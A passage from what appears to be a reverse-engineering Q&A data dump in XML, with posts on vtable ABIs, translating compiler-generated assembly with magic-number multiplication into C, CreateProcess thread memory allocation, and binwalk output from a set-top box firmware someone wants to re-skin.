Orange set for O-IS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, companies try to agree on an ABI for a new processor, like &lt;a href=&quot;https://mentorembedded.github.io/cxx-abi/abi.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for the ill-fated Itanium. Of course, these are recommendations, not laws, so an operating system/device vendor may or may not choose to adhere to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to compare vtables between different compilers and operating systems, you need to check ABI definitions of these compiler for these operating systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wikipedia's entry shows (a part of) how &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_method_table&quot; rel=&quot;nofollow&quot;&gt;gcc handles the Linux ABI&lt;/a&gt;,  and while i wasn't able to find any official documentation by MS about how MSVC does it, openrce.org has an &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; about that.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-06-16T09:03:18.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12860" PostTypeId="1" AcceptedAnswerId="12862" CreationDate="2016-06-16T12:20:30.940" Score="-1" ViewCount="271" Body="&lt;p&gt;Hi I want to write those instructions in C, I'm having trouble with &lt;code&gt;SAR EDX,6&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ASM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EDX,8&#xA;MOV EDI,1&#xA;IMUL EDI,EDX&#xA;MOV EAX,ED9CE24E&#xA;IMUL EDI&#xA;SAR EDX,6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my try&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int edi=1&#xA;int edx=8&#xA;edi*=edx;&#xA;edx=((long long)edi*0xED9CE24E) &amp;gt;&amp;gt; 32 &amp;gt;&amp;gt; 6;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16427" LastEditorUserId="4154" LastEditDate="2016-06-16T13:53:42.093" LastActivityDate="2016-06-16T13:53:42.093" Title="Why does the C compiler generate integer multiplication with large, seemingly random, numbers?" Tags="|assembly|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12861" PostTypeId="1" AcceptedAnswerId="12865" CreationDate="2016-06-16T12:56:39.563" Score="4" ViewCount="1268" Body="&lt;p&gt;When calling &lt;code&gt;CreateProcess&lt;/code&gt; internally it will call (obviously &lt;code&gt;ZwCreateProcessEx&lt;/code&gt; and then) &lt;code&gt;ZwCreateThread&lt;/code&gt; with a &lt;code&gt;CreateSuspended&lt;/code&gt; set to &lt;code&gt;True&lt;/code&gt;, then i assume final initialization is taking place. Afterwards it is calling &lt;code&gt;ZwResumeThread&lt;/code&gt; and then everything is working as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is focused on the &lt;code&gt;ZwCreateThread&lt;/code&gt; function:&#xA;&lt;a href=&quot;http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html&quot; rel=&quot;noreferrer&quot;&gt;http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where exactly in this whole &lt;code&gt;CreateProcess&lt;/code&gt; Routine, it is allocating the memory in the remote process for the &lt;code&gt;ThreadStartRoutine&lt;/code&gt; Parameter, which in the ZwCreateThread, is the parameter &lt;code&gt;ThreadContext-&amp;gt;EAX&lt;/code&gt;, i have seen a couple of NtAllocateVirtualMemory with &lt;code&gt;Protect&lt;/code&gt; of value &lt;code&gt;PAGE_EXECUTE_READWRITE - 0x40&lt;/code&gt; but none of them is allocating the memory for the &lt;code&gt;NewThreadRoutine&lt;/code&gt;.. so where exactly the Thread entrypoint is being allocated?&lt;/p&gt;&#xA;" OwnerUserId="11510" LastActivityDate="2016-06-16T16:20:27.087" Title="CreateProcess - First thread routine - where is the memory allocated for the thread?" Tags="|windows|memory|winapi|thread|process|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12862" PostTypeId="2" ParentId="12860" CreationDate="2016-06-16T13:53:10.403" Score="2" Body="&lt;p&gt;Yes, the &lt;code&gt;sar&lt;/code&gt; instruction is at least similar enough to &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; to be valid in your code. Technically, &lt;code&gt;sar&lt;/code&gt; is for &lt;code&gt;shift arithmetric right&lt;/code&gt; which treats the carry/sign bit a bit different. But handling edge cases like overflow etc. can't be translated well from assembly to C anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question that's more interesting is &quot;what does this do&quot;. In this case, the compiler is using a trick to replace an (expensive) float division by a (cheap) integer multiplication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, calculating &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int something=get_an_integer_from_somewhere();&#xA;int result=(int)((double)something/1.2345)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is quite expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, since &lt;code&gt;1/1.2345 = 0.810044552&lt;/code&gt;, this is the same as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;result=(int)((double)something*0.810044552)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, we replaced a division by a multiplication, but this is still expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, we can write &lt;code&gt;0.810044552&lt;/code&gt; as &lt;code&gt;3479114859&lt;/code&gt;/&lt;code&gt;4294967296&lt;/code&gt;. And &lt;code&gt;4294967296&lt;/code&gt; &quot;happens&quot; to be 2^32. So we can rewrite the whole thing as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;result=something*3479114859/4294967296&lt;/code&gt;. And suddenly we don't need the floating point multiplication/division anymore; we just need an integer division, which is, in this case, very inexpensive, as it's just a shift right by 32 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what your &lt;em&gt;original&lt;/em&gt; C code seems to have been, which was then optimized by the compiler to not use a float division:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;result=input/8.619&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try it with some example values.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-06-16T13:53:10.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12863" PostTypeId="1" AcceptedAnswerId="12870" CreationDate="2016-06-16T14:33:35.813" Score="0" ViewCount="2092" Body="&lt;p&gt;Iv got firmware from vivax set-top box backed up on flash drive and I vould like to change splash screen on it. The firmware seem to be yaffs but I cant extract files in order to change something. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:~$ binwalk usb_backup_upgrade.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;27288         0x6A98          SHA256 hash constants, little endian&#xA;69888         0x11100         LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 1059144 bytes&#xA;462876        0x7101C         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7916292 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I extract usb_backup_upgrade.bin Iv got 4 files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_usb_backup_upgrade.bin.extracted$ ls&#xA;11100  11100.7z  7101C  7101C.7z  _7101C.extracted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First 11100&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk 11100&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;7812          0x1E84          JPEG image data, JFIF standard 1.01&#xA;8058          0x1F7A          Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&amp;gt;&#xA;8220          0x201C          Unix path: /ns.adobe.com/xap/1.0/g/img/&quot;&amp;gt;&#xA;25303         0x62D7          Unix path: /kfdf9k2R8cMvysvJWg/5xP/ADLSzurWTVNMMU/p&amp;amp;#xA;yJFHeXSRevE1EkljNowk4xSSqv2SC1a0qrPjhfyslWy/5xX/ADLgUxTX+iT27U9SGSa5dGoQRVWt&amp;amp;#xA;qH&#xA;27374         0x6AEE          Unix path: /ns.adobe.com/xap/1.0/mm/&quot;&#xA;27432         0x6B28          Unix path: /ns.adobe.com/xap/1.0/sType/ResourceRef#&quot;&#xA;27505         0x6B71          Unix path: /ns.adobe.com/xap/1.0/sType/ResourceEvent#&quot;&#xA;27580         0x6BBC          Unix path: /ns.adobe.com/xap/1.0/sType/ManifestItem#&quot;&amp;gt;&#xA;38474         0x964A          Unix path: /purl.org/dc/elements/1.1/&quot;&amp;gt;&#xA;772652        0xBCA2C         U-Boot version string, &quot;U-Boot 1.1.6 (Jan 16 2015 - 02:23:52)&quot;&#xA;777583        0xBDD6F         POSIX tar archive, owner user name: &quot;s&quot;, owner group name: &quot;o_cmd&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and second &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk 7101C&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540&#xA;640           0x280           eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540&#xA;4307602       0x41BA92        Unix path: /../../HB/app/tv/appTvVideo_dvb.c&#xA;4389070       0x42F8CE        Unix path: /../../HB/app/zapper/appZapper.c&#xA;4391820       0x43038C        CRC32 polynomial table, little endian&#xA;4392970       0x43080A        Unix path: /../../HB/app/main/appMain.c&#xA;4393342       0x43097E        Unix path: /../../HB/app/main/appWDT.c&#xA;4393574       0x430A66        Unix path: /../../HB/app/menu/MApp_Menu.c&#xA;4393758       0x430B1E        Unix path: /../../HB/app/menu/MApp_MenuChannel.c&#xA;4397102       0x43182E        Unix path: /../../HB/app/monitor/appMonitor.c&#xA;4398262       0x431CB6        Unix path: /../../HB/platform/api/font/apiVectorFont.c&#xA;4398414       0x431D4E        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIcontrols.c&#xA;4398666       0x431E4A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIgdi.c&#xA;4398882       0x431F22        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIwindow.c&#xA;4399178       0x43204A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_Main.c&#xA;4399302       0x4320C6        Unix path: /../../HB/platform/api/zui/apiMvf_base.c&#xA;4399654       0x432226        Unix path: /../../HB/platform/api/zui/apiMvf_grays.c&#xA;4401186       0x432822        Unix path: /../../HB/platform/api/database/MApp_SaveData.c&#xA;4401744       0x432A50        CRC32 polynomial table, little endian&#xA;4402906       0x432EDA        Unix path: /../../HB/platform/api/database/apiDTVDataManager.c&#xA;4404518       0x433526        Unix path: /../../HB/platform/api/chscan/apiChScan.c&#xA;4405394       0x433892        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_DB.c&#xA;4408198       0x434386        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_EIT_Swap.c&#xA;4410158       0x434B2E        Unix path: /../../HB/platform/driver/pq/drvPQ.c&#xA;4413646       0x4358CE        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/include/QualityMap_BW.c&#xA;4414022       0x435A46        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/mhal_pq.c&#xA;4415066       0x435E5A        Unix path: /../../HB/app/media/appMM_Browser.c&#xA;4416158       0x43629E        Unix path: /../../HB/app/media/appPVR_playback.c&#xA;4416918       0x436596        Unix path: /../../HB/app/media/MMfilesystem/apiFSUtil.c&#xA;4417234       0x4366D2        Unix path: /../../HB/app/media/portinglayer/mm/src/porting_audio.c&#xA;4425946       0x4388DA        Unix path: /../../HB/app/media/vdplayerV2/appMM_playback.c&#xA;4426570       0x438B4A        Unix path: /../../HB/platform/zui/MApp_ZUI_ACTglobal.c&#xA;4427538       0x438F12        Unix path: /../../HB/platform/zui/MApp_ZUI_GDISetup.c&#xA;4427974       0x4390C6        Unix path: /../../HB/platform/zui/widgets/MApp_ZUI_CTLsolidprogressbar.c&#xA;4428226       0x4391C2        Unix path: /../../HB/platform/zui/pagedoc/MApp_PvrZapper.c&#xA;4428446       0x43929E        Unix path: /../../HB/platform/zui/pagedoc/MApp_Pvrv3.c&#xA;4438850       0x43BB42        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTAudioLanguage.c&#xA;4439082       0x43BC2A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTChannelInfo.c&#xA;4440318       0x43C0FE        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaMoviePlay.c&#xA;4441950       0x43C75E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaPlay.c&#xA;4442178       0x43C842        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaSimpleStart_PVR.c&#xA;4443290       0x43CC9A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMenuPvrDevice.c&#xA;4444006       0x43CF66        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTPvrSubtitleLanguage.c&#xA;4444586       0x43D1AA        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTSubtitle.c&#xA;4445218       0x43D422        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTbookmanage.c&#xA;4445966       0x43D70E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTprogedit.c&#xA;4447410       0x43DCB2        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvbanner.c&#xA;4448530       0x43E112        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvfavoritelist.c&#xA;4448774       0x43E206        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_Utility.c&#xA;5003844       0x4C5A44        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/s&#xA;5003845       0x4C5A45        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/sm&quot;&#xA;5003875       0x4C5A63        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx&quot;&#xA;5003893       0x4C5A75        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx&quot;&#xA;5003981       0x4C5ACD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/&quot;&#xA;5004011       0x4C5AEB        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;5004029       0x4C5AFD        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;5004125       0x4C5B5D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;5004155       0x4C5B7B        eCos RTOS string reference: &quot;eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;5004221       0x4C5BBD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;5004251       0x4C5BDB        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;5004333       0x4C5C2D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c&quot;&#xA;5004363       0x4C5C4B        eCos RTOS string reference: &quot;eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c&quot;&#xA;5005580       0x4C610C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c&#xA;5005581       0x4C610D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c&quot;&#xA;5005611       0x4C612B        eCos RTOS string reference: &quot;eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c&quot;&#xA;5005940       0x4C6274        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c&#xA;5005941       0x4C6275        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c&quot;&#xA;5005971       0x4C6293        eCos RTOS string reference: &quot;eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c&quot;&#xA;5006676       0x4C6554        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c&#xA;5006677       0x4C6555        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;5006707       0x4C6573        eCos RTOS string reference: &quot;eCospro/packages/io/disk/v2_0_60/src/disk.c&quot;&#xA;5008348       0x4C6BDC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c&#xA;5008349       0x4C6BDD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c&quot;&#xA;5008379       0x4C6BFB        eCos RTOS string reference: &quot;eCospro/packages/hal/common/v2_0_60/src/hal_misc.c&quot;&#xA;5008609       0x4C6CE1        eCos RTOS string reference: &quot;eCos][CPU INFO] : CPU Clock = %d : RTC Period = %d&quot;&#xA;5009060       0x4C6EA4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx&#xA;5009061       0x4C6EA5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;5009091       0x4C6EC3        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/clock.cxx&quot;&#xA;5009409       0x4C7001        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;5009439       0x4C701F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx&quot;&#xA;5009493       0x4C7055        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/th&quot;&#xA;5009523       0x4C7073        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl&quot;&#xA;5009541       0x4C7085        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl&quot;&#xA;5010176       0x4C7300        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx&#xA;5010177       0x4C7301        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;5010207       0x4C731F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/thread.cxx&quot;&#xA;5010465       0x4C7421        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;5010495       0x4C743F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/common/except.cxx&quot;&#xA;5010684       0x4C74FC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx&#xA;5010685       0x4C74FD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;5010715       0x4C751B        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx&quot;&#xA;5011337       0x4C7789        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;5011367       0x4C77A7        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx&quot;&#xA;5011925       0x4C79D5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;5011955       0x4C79F3        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx&quot;&#xA;5012620       0x4C7C8C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&#xA;5012621       0x4C7C8D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;5012651       0x4C7CAB        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx&quot;&#xA;5012833       0x4C7D61        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;5012863       0x4C7D7F        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx&quot;&#xA;5013293       0x4C7F2D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mb&quot;&#xA;5013323       0x4C7F4B        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;5013341       0x4C7F5D        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl&quot;&#xA;5014181       0x4C82A5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;5014211       0x4C82C3        eCos RTOS string reference: &quot;eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx&quot;&#xA;5014897       0x4C8571        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;5014927       0x4C858F        eCos RTOS string reference: &quot;eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx&quot;&#xA;5015649       0x4C8861        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx&quot;&#xA;5015679       0x4C887F        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx&quot;&#xA;5015829       0x4C8915        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi&quot;&#xA;5015859       0x4C8933        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;5015877       0x4C8945        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl&quot;&#xA;5016101       0x4C8A25        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;5016131       0x4C8A43        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx&quot;&#xA;5016201       0x4C8A89        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi&quot;&#xA;5016231       0x4C8AA7        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;5016249       0x4C8AB9        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl&quot;&#xA;5017624       0x4C9018        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&#xA;5017625       0x4C9019        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;5017655       0x4C9037        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx&quot;&#xA;5018041       0x4C91B9        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/fd.cxx&quot;&#xA;5018071       0x4C91D7        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/fd.cxx&quot;&#xA;5018177       0x4C9241        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;5018207       0x4C925F        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/file.cxx&quot;&#xA;5018605       0x4C93ED        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;5018635       0x4C940B        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/dir.cxx&quot;&#xA;5018749       0x4C947D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/select.cxx&quot;&#xA;5018779       0x4C949B        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/select.cxx&quot;&#xA;5018857       0x4C94E9        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;5018887       0x4C9507        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;5019141       0x4C9605        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi&quot;&#xA;5019171       0x4C9623        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;5019189       0x4C9635        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl&quot;&#xA;5020472       0x4C9B38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&#xA;5020473       0x4C9B39        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;5020503       0x4C9B57        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;5020609       0x4C9BC1        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;5020639       0x4C9BDF        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;5021120       